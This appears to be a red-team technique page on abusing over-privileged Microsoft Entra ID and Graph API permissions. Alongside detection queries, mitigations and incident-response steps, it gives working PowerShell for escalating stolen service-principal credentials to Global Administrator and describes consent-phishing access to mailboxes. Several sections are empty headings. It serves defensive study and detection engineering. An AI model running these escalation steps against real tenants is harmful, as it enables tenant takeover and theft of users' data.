MCADDF

[MISCONFIG-005]: Insecure API Permissions

Metadata

| Attribute | Details | |—|—| | Technique ID | MISCONFIG-005 | | MITRE ATT&CK v18.1 | Abuse Elevation Control Mechanism (T1548) | | Tactic | Privilege Escalation | | Platforms | M365, Entra ID (Microsoft Entra ID / Azure AD), Microsoft Graph, Azure Resource Manager | | Severity | Critical | | Technique Status | ACTIVE | | Last Verified | 2026-01-10 | | Affected Versions | Microsoft Entra ID and Microsoft 365 API permission model (app-only and delegated) as of 2026 | | Patched In | N/A – configuration / governance issue, mitigated via least privilege, consent policies, and RBAC controls | | Author | SERVTEPArtur Pchelnikau |


2. EXECUTIVE SUMMARY

Operational Risk

Compliance Mappings

| Framework | Control / ID | Description | |—|—|—| | CIS Benchmark (Azure/M365) | CIS AZURE 1.x / M365 1.x | Requires least privilege for app registrations, restricted Graph scopes, and review of enterprise application permissions. | | DISA STIG | APP3510 / IAIA‑1 | Application privilege management and identity assurance; restricts excessive API permissions for service accounts. | | CISA SCuBA | M365 App Governance | SCuBA guidance requires tight governance of OAuth apps and Graph API permissions, with app governance monitoring. | | NIST 800‑53 Rev5 | AC‑3, AC‑6, AC‑2 | Access enforcement and least privilege; management of accounts and service principals controlling programmatic access to data. | | GDPR | Art. 25, Art. 32 | Data protection by design/default and security of processing – over‑privileged apps increase risk of unlawful disclosure and loss of confidentiality. | | DORA | Art. 9, Art. 11 | ICT risk management and third‑party risk – SaaS/OAuth apps with wide permissions create systemic ICT concentration and data‑access risk. | | NIS2 | Art. 21 | Requires technical measures to manage cyber risk, including robust identity and access management for APIs and SaaS. | | ISO 27001:2022 | A.5.18, A.8.2, A.8.16 | Access rights provisioning, identity governance, and monitoring of programmatic access channels (APIs, service principals). | | ISO 27005 | “Compromise of Administration Interface” | Risk of losing control over tenant through misconfigured application permissions and service principals. |


3. TECHNICAL PREREQUISITES

Supported Versions:


4. ENVIRONMENTAL RECONNAISSANCE

Management Station / PowerShell Reconnaissance

# List all service principals with high‑risk app-only Graph permissions
Connect-MgGraph -Scopes "Directory.Read.All, AppRoleAssignment.ReadWrite.All"
Select-MgProfile -Name beta

$highRiskScopes = @(
  "AppRoleAssignment.ReadWrite.All",
  "RoleManagement.ReadWrite.Directory",
  "Directory.ReadWrite.All",
  "Mail.ReadWrite",
  "Files.Read.All",
  "Directory.AccessAsUser.All"
)

Get-MgServicePrincipal -All | ForEach-Object {
  $sp = $_
  $appRoles = Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $sp.Id -All -ErrorAction SilentlyContinue
  foreach ($ar in $appRoles) {
    if ($ar.PrincipalDisplayName -eq $sp.DisplayName) {
      # Self-assigned app roles (app-only)
      $role = $ar.AppRoleId
    }
  }
} | Out-Null

# Quick view of Graph app permissions granted to each SP
Get-MgServicePrincipal -All | Select-Object DisplayName,AppId,ServicePrincipalType,AccountEnabled,Tags

What to Look For:

Version Note:

Command (Legacy AzureAD Module):

Connect-AzureAD
Get-AzureADServicePrincipal -All $true |
  Select DisplayName, AppId, ServicePrincipalType, AccountEnabled

Get-AzureADServiceAppRoleAssignment -All $true |
  Select PrincipalDisplayName, ResourceDisplayName, Id

Azure CLI / Bash Reconnaissance

# List applications and permissions via Azure CLI (requires Azure CLI + "az login")
az ad sp list --all --query "[].{displayName:displayName, appId:appId, tags:tags}" -o table

# Inspect Graph service principal and its app roles
GRAPH_APPID="00000003-0000-0000-c000-000000000000"  # Microsoft Graph
az ad sp show --id $GRAPH_APPID -o json > graph_sp.json

# List directory roles and assignments (to find apps with directory roles)
az role assignment list --all --query "[?principalType=='ServicePrincipal'].{principalName:principalName, roleDefinitionName:roleDefinitionName, scope:scope}" -o table

What to Look For:


5. DETAILED EXECUTION METHODS AND THEIRS STEPS

METHOD 1 – Abusing Over‑Privileged App‑Only Graph Permissions (Certificate or Secret Compromise)

Supported Versions: All Entra ID tenants using OAuth 2.0 client credentials for app‑only Graph access.

Step 1: Identify a Service Principal with Dangerous App‑Only Permissions

Objective: Locate a service principal that has high‑risk app‑only Graph permissions or directory roles that can be abused for privilege escalation.

Command (Graph PowerShell):

Connect-MgGraph -Scopes "Directory.Read.All, Application.Read.All, RoleManagement.Read.Directory"
Select-MgProfile -Name beta

# Find apps with high-risk app-only Graph permissions
$dangerousPermissions = @(
  "AppRoleAssignment.ReadWrite.All",
  "RoleManagement.ReadWrite.Directory",
  "Directory.ReadWrite.All"
)

$graphSp = Get-MgServicePrincipal -Filter "appId eq '00000003-0000-0000-c000-000000000000'"
$dangerousAppRoles = $graphSp.AppRoles | Where-Object { $_.Value -in $dangerousPermissions }
$dangerousAppRoles | Select-Object Value, Id

# Find SPs assigned these roles
Get-MgServicePrincipal -All | ForEach-Object {
  $sp = $_
  $assignments = Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $sp.Id -All -ErrorAction SilentlyContinue
  foreach ($assign in $assignments) {
    if ($assign.AppRoleId -in $dangerousAppRoles.Id) {
      [PSCustomObject]@{
        ServicePrincipal = $sp.DisplayName
        AppId            = $sp.AppId
        Resource         = $assign.ResourceDisplayName
        AppRoleId        = $assign.AppRoleId
      }
    }
  }
} | Format-Table -AutoSize

Expected Output: A table listing service principals where Resource = Microsoft Graph and AppRoleId matches one of the high‑risk permissions, along with the application’s display name and AppId.

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 2: Authenticate as the Service Principal Using Compromised Credentials

Objective: Obtain an app‑only access token using a stolen certificate or client secret and confirm scope/roles.

Command (PowerShell – Client Credentials with Certificate):

$tenantId = "<tenant-id>"
$appId    = "<compromised-app-id>"
$certThumb = "<thumbprint>"  # From local cert store

$cert = Get-Item "Cert:\CurrentUser\My\$certThumb"
$token = Get-MgContext
# Or use MSAL if not using Graph SDK

Command (MSAL / Azure CLI – Pseudo):

az account get-access-token \
  --tenant $tenantId \
  --service-principal \
  --username $appId \
  --password $SP_SECRET \
  --resource https://graph.microsoft.com

Expected Output: A valid OAuth 2.0 bearer token whose roles claim contains the app‑only Graph permissions, such as AppRoleAssignment.ReadWrite.All.

What This Means:

OpSec & Evasion:

Step 3: Escalate to Global Administrator via Graph

Objective: Use AppRoleAssignment.ReadWrite.All and RoleManagement.ReadWrite.Directory to grant the compromised app or an attacker‑controlled principal a high‑privilege role (e.g., Global Administrator).

Command (Graph PowerShell – Assign RoleManagement.ReadWrite.Directory to self):

# Assumes context is already authenticated as the compromised SP
$graphSp = Get-MgServicePrincipal -Filter "appId eq '00000003-0000-0000-c000-000000000000'"
$roleMgmtRole = $graphSp.AppRoles | Where-Object { $_.Value -eq "RoleManagement.ReadWrite.Directory" }

$params = @{
  PrincipalId = (Get-MgContext).ClientId
  ResourceId  = $graphSp.Id
  AppRoleId   = $roleMgmtRole.Id
}

New-MgServicePrincipalAppRoleAssignment -ServicePrincipalId (Get-MgContext).ClientId -BodyParameter $params

Command (Assign Global Administrator to an Attacker Principal):

# Get the Global Administrator directory role
$gaRole = Get-MgDirectoryRole | Where-Object { $_.DisplayName -eq "Global Administrator" }
$attackerSp = Get-MgServicePrincipal -Filter "appId eq '<attacker-app-id>'"

$params = @{
  DirectoryObjectId = $attackerSp.Id
}

New-MgDirectoryRoleMemberByRef -DirectoryRoleId $gaRole.Id -BodyParameter $params

Expected Output: No error from Graph; subsequent calls show the attacker SP as a member of Global Administrator, and tenant‑wide powerful operations are now possible.

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Supported Versions: All Entra ID tenants that allow users or low‑privileged admins to grant consent to applications.

Step 1: Phish a User into Granting High‑Risk Delegated Permissions

Objective: Trick a user into granting delegated permissions such as Mail.ReadWrite, Files.Read.All, offline_access, or Directory.AccessAsUser.All to a malicious multi‑tenant app.

High‑Risk Scopes:

Expected Result:

Step 2: Use Delegated Permissions to Access M365 Data

Command (Example – read user mailbox via Graph):

GET https://graph.microsoft.com/v1.0/me/messages
Authorization: Bearer <access_token>

Expected Output: JSON response containing messages from the user mailbox; similar calls can list drive items, Teams messages, and contacts.

What This Means:

References & Proofs:


6. ATTACK SIMULATION & VERIFICATION (Atomic Red Team)

Atomic Red Team


7. TOOLS & COMMANDS REFERENCE

Microsoft Graph PowerShell SDK

Version: 2.x+ recommended. Minimum Version: 1.0.0 (older cmdlets, but security features mature in later versions). Supported Platforms: Windows, Linux, macOS with PowerShell 7+.

Version-Specific Notes:

Installation:

Install-Module Microsoft.Graph -Scope CurrentUser
Import-Module Microsoft.Graph
Connect-MgGraph -Scopes "Directory.Read.All, Application.Read.All, RoleManagement.Read.Directory"

Usage (List app permissions):

Get-MgServicePrincipal -All | Select DisplayName, AppId, ServicePrincipalType

AADInternals

Pen‑test and research toolkit for Entra ID abuse (token theft, app misuse, federation misconfigurations).

Installation (PowerShell):

Install-Module AADInternals -Scope CurrentUser
Import-Module AADInternals

Script (One-Liner – Enumerate Apps with Mail.ReadWrite)

Connect-MgGraph -Scopes "Application.Read.All, Directory.Read.All"
Select-MgProfile -Name beta

Get-MgServicePrincipal -All |
  Where-Object { $_.AppRoles -and ($_.AppRoles.Value -contains "Mail.ReadWrite") } |
  Select DisplayName, AppId

8. SPLUNK DETECTION RULES

Rule 1: Excessive or High‑Risk OAuth Consents Granted

Rule Configuration:

SPL Query:

index=o365 (Workload="AzureActiveDirectory") \
  Operation IN ("Consent to application", "Add service principal")
| eval scopes = mvjoin('ModifiedProperties{}.NewValue', ",")
| search scopes="*Mail.ReadWrite*" OR scopes="*Files.Read.All*" OR scopes="*Directory.ReadWrite.All*"
| stats count values(scopes) AS scopes BY UserId, Target, Operation
| where count >= 1

What This Detects:

Manual Configuration Steps:

  1. Log into Splunk Web → Search & Reporting.
  2. Run the query above and validate results for a few days.
  3. Click Save AsAlert.
  4. Name: High-Risk OAuth Consents Granted.
  5. Set Trigger Condition to Number of Results > 0 and schedule every 15 minutes.
  6. Configure Action to email SOC and/or open a ticket including UserId, Target, and scopes.

Source: Microsoft illicit consent guidance and OAuth app governance best practices.

False Positive Analysis


9. MICROSOFT SENTINEL DETECTION

Query 1: High‑Risk Application Permissions or Role Assignments

Rule Configuration:

KQL Query:

let HighRiskScopes = dynamic([
  "AppRoleAssignment.ReadWrite.All",
  "RoleManagement.ReadWrite.Directory",
  "Directory.ReadWrite.All",
  "Mail.ReadWrite",
  "Files.Read.All"
]);
AuditLogs
| where Category in ("ApplicationManagement", "Consent")
| where OperationName in ("Add app role assignment to service principal", 
                          "Update app role assignment to service principal",
                          "Consent to application")
| extend props = parse_json(tostring(TargetResources[0].modifiedProperties))
| mv-expand props
| extend name = tostring(props.displayName),
         newValue = tostring(props.newValue)
| where name in ("RequiredResourceAccess", "Scopes", "appRoleAssignments")
| where HighRiskScopes has_any (split(newValue, " "))
| project TimeGenerated, OperationName, InitiatedBy, TargetResources, newValue

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Azure Portal → Microsoft Sentinel → select workspace.
  2. Go to Analytics+ CreateScheduled query rule.
  3. Name: High-Risk Graph Application Permissions Changes.
  4. Severity: High.
  5. In Set rule logic, paste the KQL query above.
  6. Set evaluation to every 5 minutes, look back 60 minutes.
  7. Enable incident creation and assign to identity security team.
  8. Save and enable.

Manual Configuration Steps (PowerShell):

Connect-AzAccount
$rg = "<ResourceGroupName>"
$ws = "<WorkspaceName>"
$kql = @"
<PASTE KQL QUERY HERE>
"@

New-AzSentinelAlertRule -ResourceGroupName $rg -WorkspaceName $ws `
  -DisplayName "High-Risk Graph Application Permissions Changes" `
  -Query $kql -Severity High -Enabled $true

Source:


10. WINDOWS EVENT LOG MONITORING

Although this technique is primarily cloud‑native, Windows endpoints may provide supporting evidence:

Event ID: 4648 (A logon was attempted using explicit credentials)

Event ID: 4104 (PowerShell Script Block Logging)

Manual Configuration Steps (Group Policy – Enable Script Block Logging):

  1. Open gpmc.msc.
  2. Navigate to Computer Configuration → Administrative Templates → Windows Components → Windows PowerShell.
  3. Enable Turn on PowerShell Script Block logging.
  4. Run gpupdate /force.

These events should be correlated with cloud audit events to identify suspicious automation executed from on‑prem admin hosts.


11. SYSMON DETECTION PATTERNS

Minimum Sysmon Version: 13.0+ Supported Platforms: Windows Server and client endpoints used for administration.

<!-- Detect PowerShell usage of Graph / AzureAD modules from admin hosts -->
<Sysmon schemaversion="4.82">
  <EventFiltering>
    <ProcessCreate onmatch="include">
      <CommandLine condition="contains">Connect-MgGraph</CommandLine>
      <CommandLine condition="contains">Connect-AzureAD</CommandLine>
      <CommandLine condition="contains">Install-Module Microsoft.Graph</CommandLine>
    </ProcessCreate>
  </EventFiltering>
</Sysmon>

Manual Configuration Steps:

  1. Download Sysmon from Microsoft Sysinternals.
  2. Save the XML snippet into sysmon-api-perms.xml and merge with your main Sysmon config.
  3. Install Sysmon: sysmon64.exe -accepteula -i sysmon-api-perms.xml.
  4. Ingest Sysmon logs into your SIEM and correlate with Entra audit logs.

12. MICROSOFT DEFENDER FOR CLOUD

Detection Alerts

Alert Name: Suspicious application permissions granted or updated (exact wording may vary by product release).

Manual Configuration Steps (Enable Defender for Cloud & Cloud Apps):

  1. Azure Portal → Microsoft Defender for CloudEnvironment settings.
  2. Enable Defender plans for App services, Storage, and Identity as appropriate.
  3. In Microsoft Defender portal, enable Cloud Apps → OAuth apps governance.
  4. Review alerts related to high‑risk OAuth apps and Graph permissions.

Reference:


13. MICROSOFT PURVIEW (UNIFIED AUDIT LOG)

Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date) `
  -Operations "Consent to application","Add service principal" `
  -ResultSize 5000 |
  Select-Object CreationDate, UserIds, Operations, AuditData

Manual Configuration Steps (Enable Unified Audit Log):

  1. Microsoft Purview compliance portal → Audit.
  2. If required, click Turn on auditing and wait for activation.

Search Audit Logs:

  1. Go to Audit → Search.
  2. Date range: last 7–30 days.
  3. Activities: Consent to application, Add service principal.
  4. Export results for offline analysis.

14. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Validation Command (Verify Fix)

# Ensure no apps have AppRoleAssignment.ReadWrite.All or RoleManagement.ReadWrite.Directory
Connect-MgGraph -Scopes "Directory.Read.All, Application.Read.All"
Select-MgProfile -Name beta

$highRisk = @("AppRoleAssignment.ReadWrite.All", "RoleManagement.ReadWrite.Directory")
$graphSp = Get-MgServicePrincipal -Filter "appId eq '00000003-0000-0000-c000-000000000000'"
$highRiskRoles = $graphSp.AppRoles | Where-Object { $_.Value -in $highRisk }

$findings = Get-MgServicePrincipal -All | ForEach-Object {
  $sp = $_
  $assignments = Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $sp.Id -All -ErrorAction SilentlyContinue
  foreach ($a in $assignments) {
    if ($a.AppRoleId -in $highRiskRoles.Id) { $sp.DisplayName }
  }
}
$findings | Sort-Object -Unique

Expected Output (If Secure):

What to Look For:


15. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate:
    • Temporarily disable the suspicious service principal or application.

    Command:

    Connect-MgGraph -Scopes "Application.ReadWrite.All"
    $sp = Get-MgServicePrincipal -Filter "appId eq '<suspicious-app-id>'"
    Update-MgServicePrincipal -ServicePrincipalId $sp.Id -AccountEnabled:$false
    
  2. Collect Evidence:
    • Export relevant audit logs and configuration snapshots.

    Command:

    # Export Azure AD audit logs for app changes
    Get-AzureADAuditDirectoryLogs -Filter "activityDisplayName eq 'Add app role assignment to service principal'" |
      Export-Csv .\AAD_AppRole_Changes.csv
    
  3. Remediate:
    • Remove excessive permissions or delete malicious apps; reset compromised credentials; re‑evaluate admin roles.

    Command:

    # Remove Graph app role assignments from a compromised SP
    $assignments = Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $sp.Id -All
    foreach ($a in $assignments) {
      Remove-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $sp.Id -AppRoleAssignmentId $a.Id
    }
    
  4. Notify and Review:
    • Notify impacted data owners (mailbox/file owners) and perform targeted mailbox / file audit for suspicious activity.

Step Phase Technique Description
1 Initial Access IA-PHISH-002 – Consent grant OAuth attacks Attacker tricks user or admin into granting consent to malicious app.
2 Privilege Escalation PE-ACCTMGMT-001 – App Registration Permissions Escalation Compromised admin or app assigns high‑risk scopes or roles.
3 Current Step MISCONFIG-005 – Insecure API Permissions Misconfigured or over‑privileged application permissions enable tenant‑wide access.
4 Persistence CA-TOKEN-005 – OAuth access token interception Long‑lived refresh tokens keep access even after password resets.
5 Impact DATA-EXFIL-XXX – Mass M365 data exfiltration Attacker downloads mail and files across tenant via Graph.

17. REAL-WORLD EXAMPLES

Example 1: App‑Only Graph Permission Abuse in Entra ID